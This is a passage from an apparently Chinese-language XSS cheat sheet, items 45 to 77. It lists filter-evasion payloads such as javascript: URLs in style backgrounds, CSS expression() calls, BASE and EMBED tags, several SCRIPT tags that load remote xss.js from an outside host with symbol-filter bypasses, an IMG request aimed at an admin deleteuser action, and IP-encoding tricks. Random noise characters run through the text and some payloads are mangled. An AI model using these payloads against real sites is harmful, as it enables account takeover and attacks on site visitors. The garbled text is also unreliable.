6 U. K o# q: y c (45)TD7 A/ o4 j, U: u* D T/ T2 d" ]
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>3 c% z, w. O7 | A
, A8 H7 I8 X$ F6 K8 I7 ~' u (46)DIV background-image & w% d' m% e# c ^: P$ f <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”> " w- h, Z% r7 c6 ^/ u) k0 _ C! G6 Q7 E9 P7 h% G (47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279) 5 l0 w- l9 Z) j! | <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>$ c0 |! }; e; d. [9 F
& ]& X# C ]9 }; u: O$ a% Z
(48)DIV expression- P2 g% @& l& m7 S; u! H: X& D
<DIV STYLE=”width: expression_r(alert(‘XSS’));”> # Z7 X: N6 a0 t {$ ~( N! V , h6 }% s4 \8 y2 t+ k; @ (49)STYLE属性分拆表达 ) G2 l* e+ X X6 k6 z <IMG STYLE=”xss:expression_r(alert(‘XSS’))”> & G3 s, \6 h. @2 {3 [ 0 F; J6 t5 V5 P7 [8 ^: J (50)匿名STYLE(组成:开角号和一个字母开头)3 C( R9 V) j, M5 D: \
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”> 3 ], U: D. Z, s. j3 n' [ 7 ]: y9 S. T" U$ g+ W4 f& Z2 \ (51)STYLE background-image9 r5 j% q e+ b% F; u
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>; b7 D' z5 \! A4 q/ R% ?
8 O3 T2 X+ `: V+ e7 {' M/ A1 Z (52)IMG STYLE方式 7 L: h3 m% P! C# E/ D exppression(alert(“XSS”))’> # v5 @# M* v |9 u, ~ j4 M: m3 {* U , F+ X! w! F2 E9 h8 H& g (53)STYLE background# } K( f2 J7 \, J# ~1 u+ C1 C
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>+ J3 x( \6 V1 a
* s ~; i; n2 K
(54)BASE9 q7 U0 i: R; `+ L( N+ @3 l
<BASE HREF=”javascript:alert(‘XSS’);//”> 8 W) Y9 M! n; e( H9 @6 h. S! ?* f7 F. `0 p* n9 t3 Z. t
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS 9 `. }' {- d, k+ u) q <EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>) g& i; S0 f* u% J
/ Q. i* _6 u. M4 G& \
(56)在flash中使用ActionScrpt可以混进你XSS的代码1 P& R9 Q0 H! a* \6 u1 i* Y3 S
a=”get”;: ^+ U' m; n7 {! \, B5 X
b=”URL(\”";* J7 n" d8 `4 K" e* ~7 k+ L
c=”javascript:”;0 C8 i6 O0 `% C
d=”alert(‘XSS’);\”)”;: l9 k, k. y9 \; }
eval_r(a+b+c+d); 0 k: p! a% V7 Y 1 i m/ \/ U! Y/ X5 y3 {" @ (57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上 / ~# q. A2 Y- b6 L: l <HTML xmlns:xss>, @' u" r8 j7 B0 R
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>' K( Z7 v9 B( I! T" X
<xss:xss>XSS</xss:xss> ' Y9 }$ U+ e$ g; h3 ^' I </HTML> ) r/ F7 O* n. B4 r; a, ] # k; ~# g# D. n7 T$ Z+ a (58)如果过滤了你的JS你可以在图片里添加JS代码来利用 6 c$ e) I7 R/ P7 H0 y <SCRIPT SRC=””></SCRIPT>' g6 K B- W- J4 V( k4 L; ^: t
# l' r" M: q- B# f: t) j( b (59)IMG嵌入式命令,可执行任意命令- H9 t; @) B D j# \" |
<IMG SRC=”http://www.XXX.com/a.php?a=b”> 2 ^* V% x+ Z$ i4 c# ~) V$ w4 o* d8 u- u; r1 L. A, K, R( v% b
(60)IMG嵌入式命令(a.jpg在同服务器)6 ]; O5 {% j! x! S& A9 o
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser 0 X6 C/ H( B. x; g1 I; Y n- ~' l" A1 _
(61)绕符号过滤 - o' g& ]3 Z7 a8 O$ ~ <SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT> ( U* j% }3 Z9 ~' y2 m1 I- G" [# \8 F6 Z/ U( ]1 x$ Q
(62); i$ q2 f+ d& U0 V$ e
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT> ' o4 [3 `6 E& @) C9 `5 q " K% Q$ z: d* {8 O) ?" m (63) * _5 B0 {2 V& u$ e( v1 Y <SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT> : v# u. L, k& d/ X ' W! s' P$ F+ ^3 c (64) . Y3 E: M( _, i+ J# X+ k2 k3 Z <SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT> ( {$ O$ _* E1 Z: p6 M( g# g( L" h2 J& q7 n5 ^
(65) 6 [) Z, V$ E/ I! M9 c: z1 L7 z <SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>- g5 _4 Z2 h2 O" z* L L8 g
9 v# N' N! d" O; I2 ~$ l, q (66) 0 e* D- t; u! X <SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT> " V, R3 F+ i0 B. _9 a" q Y, Y) T3 @3 W% z6 C& M (67)/ G7 C+ v) a7 ?# ]) Q, l8 U* n
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT> 2 V# ~) y- m0 Q8 u% r9 _ ^( |5 _" m* I+ ^. x
(68)URL绕行& i- ~1 i; a7 V" w
<A HREF=”http://127.0.0.1/”>XSS</A>% A& K a4 n, B
- k. |$ N. h+ e' ^7 R y0 c
(69)URL编码 0 N" r" _8 n, ^1 t <A HREF=”http://3w.org”>XSS</A>' Q8 M( K v( G$ m7 [* G1 l! H) t. Q
7 b, K' E z! e1 n k' i3 X
(70)IP十进制 ' ]# h* Y4 I' [7 t* J# H <A HREF=”http://3232235521″>XSS</A>' B" k# l4 a- p4 h5 d) S& X5 h
4 Y) O) ^* R p1 Q; V: P( s$ Q* x (71)IP十六进制: T4 @+ J- z/ {; S
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>) R, M" A: \1 Y" e+ L! K5 X
( [% i( h2 _! Z% j( }
(72)IP八进制/ F1 ]4 ~: w* Q# H; O
<A HREF=”http://0300.0250.0000.0001″>XSS</A>8 i- L( i! l8 ]8 ?8 b) T! ]( K7 [
# O, S5 N* b& j7 n+ m$ ~
(73)混合编码/ ?) s6 c, X, G- j. X
<A HREF=”h. G) e. J, k; k' Y# }. a2 }
tt p://6 6.000146.0×7.147/”">XSS</A> ' Q- G+ \- I' w1 @; q+ `; P: R3 y& z: V( G/ L. ^ j. x) ?* o
(74)节省[http:]! u- Q% c6 Q1 V# G
<A HREF=”//www.google.com/”>XSS</A>% _8 C3 b# Z& ?6 W( ~
4 M3 H( C6 X4 `; i, Y (75)节省[www]! D; M: ], p1 z
<A HREF=”http://google.com/”>XSS</A> / a% @7 j [+ E0 h6 i& Y 0 o2 h+ X* j' G9 o (76)绝对点绝对DNS+ E$ C# O! I% |8 U! f6 i2 R' Q
<A HREF=”http://www.google.com./”>XSS</A>3 s1 D# ]! h4 D h, E
9 O; ~& n0 Z' {, E1 o
(77)javascript链接 9 J/ K5 G1 |: @% [. B: S <A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>